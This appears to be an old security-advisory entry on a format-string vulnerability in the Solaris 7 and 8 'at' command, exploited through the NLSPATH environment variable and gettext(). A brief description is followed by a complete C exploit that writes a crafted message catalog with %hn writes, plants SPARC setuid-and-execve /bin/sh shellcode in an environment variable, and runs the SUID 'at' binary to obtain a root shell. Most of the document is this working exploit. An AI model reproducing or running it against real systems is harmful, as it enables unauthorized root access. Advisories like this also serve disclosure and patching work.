COMMAND
at
SYSTEMS AFFECTED
Solaris 7, 8
PROBLEM
Hank Wang found following. He found that "at" in Solaris is
vulnerable on Solaris 7 and 8. Generally a program that needs to
display a message to the user will obtain the proper language
specific string from the database using the original message as
the search key and printing the results using the printf(3)
family of functions. By building and installing a custom messages
database an attacker can control the output of the message
retrieval functions that get feed to the printf(3) functions.
Bad coding practices and the ability to feed format strings to
the later functions makes it possible for an attacker to execute
arbitrary code as a privileged user (root) using almost any SUID
program on the vulnerable systems.
When succeeding "at" command, it will return a message:
commands will be executed using: <shell>\n
User can create a specified format string to the message for
gettext(), and set the NLSPATH environment variable..
That, user may get the root privilege.. The exploit will be
released later...
/*
NLSPATH, gettext() vulnerable on Solaris/SPARC 7, 8
by Hank Wang <hank@aimsecurity.net>
1. use dump mode to dump memory
2. alignment of shellcode and command arguments
3. get the address of shellcode and stack skip
4. return address location is top address - 0x10
5. run exploit mode with parameters
*/
#include <stdio.h>
#define SHADDR 0xFFBEFF6C
#define RETLOC 0xFFBEF5BC
#define SKIP 607
#define NOP "\x92\x12\x40\x09"
unsigned long shellcode[]= {
// setuid 0
0x901a4009, // xor %o1, %o1, %o0
0x82102017, // mov 0x17, %g1
0x91d02008, // ta 8
// dup2
0x90102002, // mov 2,%o0
0x94102001, // mov 1,%o2
0x92102009, // mov 9,%o1
0x8210203e, // mov 0x3e,%g1
0x91d02008, // ta 8
// execve /bin/sh
0x9422800a, // sub %o2, %o2, %o2
0x9023a008, // sub %sp, 8, %o0
0x210bd89a, // sethi %hi(0x2f626800), %l0
0xa014216e, // or %l0, 0x16e, %l0
0xe023bff8, // st %l0, [ %sp + -8 ]
0x210bdcda, // sethi %hi(0x2f736800), %l0
0xe023bffc, // st %l0, [ %sp + -4 ]
0x9223a010, // sub %sp, 0x10, %o1
0xd023bff0, // st %o0, [ %sp + -16 ]
0xc023bff4, // clr [ %sp + -12 ]
0x8210203b, // mov 0x3b, %g1
0x91d02008, // ta 8
0x00000000
};
int dump=0, exploit=0;
int shpad=0, argpad=2, skip=SKIP;
unsigned long shaddr=SHADDR, retloc=RETLOC;
void usage(char *prog)
{
printf("%s [dump|exploit] [parameters]\n", prog);
printf("parameters:\n");
printf("\t--skip=<skip stack>\n");
printf("\t--argpad=<num>: alignment of command args\n");
printf("\t--shpad=<num>: alignment of shellcode\n");
printf("\t--shaddr=<shellcode addr>\n");
printf("\t--retloc=<return address location>\n");
exit(0);
}
int mygetopt(int argc, char **argv)
{
int i;
if(!strncmp(argv[1], "dump", 4)) {
dump=1;
}
else if (!strncmp(argv[1], "exploit", 4)) {
exploit=1;
}
else {
return -1;
}
for(i=2; i<argc; i++) {
if (!strncmp(argv[i], "--skip=", 7)) {
skip=atoi(argv[i]+7);
}
else if (!strncmp(argv[i], "--shpad=", 8)) {
shpad=atoi(argv[i]+8)%4;
}
else if (!strncmp(argv[i], "--argpad=", 9)) {
argpad=atoi(argv[i]+9)%4;
}
else if (!strncmp(argv[i], "--shaddr=", 9)) {
shaddr=strtoul(argv[i]+9, 0, 16);
}
else if (!strncmp(argv[i], "--retloc=", 9)) {
retloc=strtoul(argv[i]+9, 0, 16);
}
else {
return -1;
}
}
return 1;
}
void makemo()
{
char msg[4096], pattern[16];
FILE *fp;
int i, j, r, q;
unsigned long hw;
int first, next, last;
r=skip%8;
r=r?r:8;
q=skip/8;
q=(r==8)?q-1:q;
memset(msg, 0x00, 4096);
strcpy(msg, "msgstr ");
if (exploit) {
hw=(shaddr & 0x0000ffff);
first=(hw/skip);
next=hw-(first*(skip-1));
last=((shaddr & 0xffff0000) >> 16) - hw;
sprintf(pattern, "%%0%dx", first);
for(i=0; i<q; i++) {
strcat(msg, "\"");
for(j=0; j<8; j++) {
strcat(msg, pattern);
}
strcat(msg, "\"\n");
}
strcat(msg, "\"");
for(j=0; j<r-1; j++) {
strcat(msg, pattern);
}
sprintf(pattern, "%%0%dx", next);
strcat(msg, pattern);
strcat(msg, "\"\n");
strcat(msg, "\"");
strcat(msg, "%hn");
sprintf(pattern, "%%0%dx", last);
strcat(msg, pattern);
strcat(msg, "%hn");
strcat(msg, "\"\n");
}
else {
for(i=0; i<q; i++)
strcat(msg, "\"%08x %08x %08x %08x %08x %08x %08x %08x\\n\"\n");
strcat(msg, "\"");
for(i=0; i<r-1; i++)
strcat(msg, "%08x ");
strcat(msg, "%08x");
strcat(msg, "\\n\"\n");
}
fp=fopen("foo.po", "w");
fprintf(fp, "%s\n", "msgid \"commands will be executed using %s\\n\"");
fprintf(fp, "%s", msg);
fclose(fp);
system("msgfmt -o SUNW_OST_OSCMD foo.po");
}
int makefile(char *file)
{
unsigned long high, low;
char *p;
char cmd[64];
high=retloc+2;
low=retloc;
strncat(file, "AAAA", argpad);
p=(char *)&high;
strncat(file, p, 4);
strcat(file, "AAAA");
p=(char *)&low;
strncat(file, p, 4);
strncat(file, "AAAA", 4-argpad);
strcpy(cmd, "touch ");
strcat(cmd, file);
system(cmd);
}
int main(int argc, char *argv[])
{
char *prog;
char file[20];
char eggshell[128];
char nlspath[]="NLSPATH=:.";
int i;
char *p=(char *)&shellcode;
char *env[3]={eggshell, nlspath, NULL};
prog=argv[0];
if(argc < 2) {
usage(prog);
}
if (mygetopt(argc, argv)==-1) {
usage(prog);
}
printf("skip=%d, shaddr=0x%08x, retloc=0x%08x\n", skip, shaddr, retloc);
fflush(stdout);
makemo();
memset(file, 0x00, 20);
makefile(file);
memset(eggshell, 0x00, 128);
strcpy(eggshell, "EGGSHELL=");
strncat(eggshell, "AAAA", shpad);
for(i=0; i<4; i++)
strcat(eggshell, NOP);
strcat(eggshell, p);
strncat(eggshell, "AAAA", 4-shpad);
execle("/usr/bin/at", "at", "-f", file, "-t", "07010100", NULL, env);
}
SOLUTION
This seems to be addressed by Sun.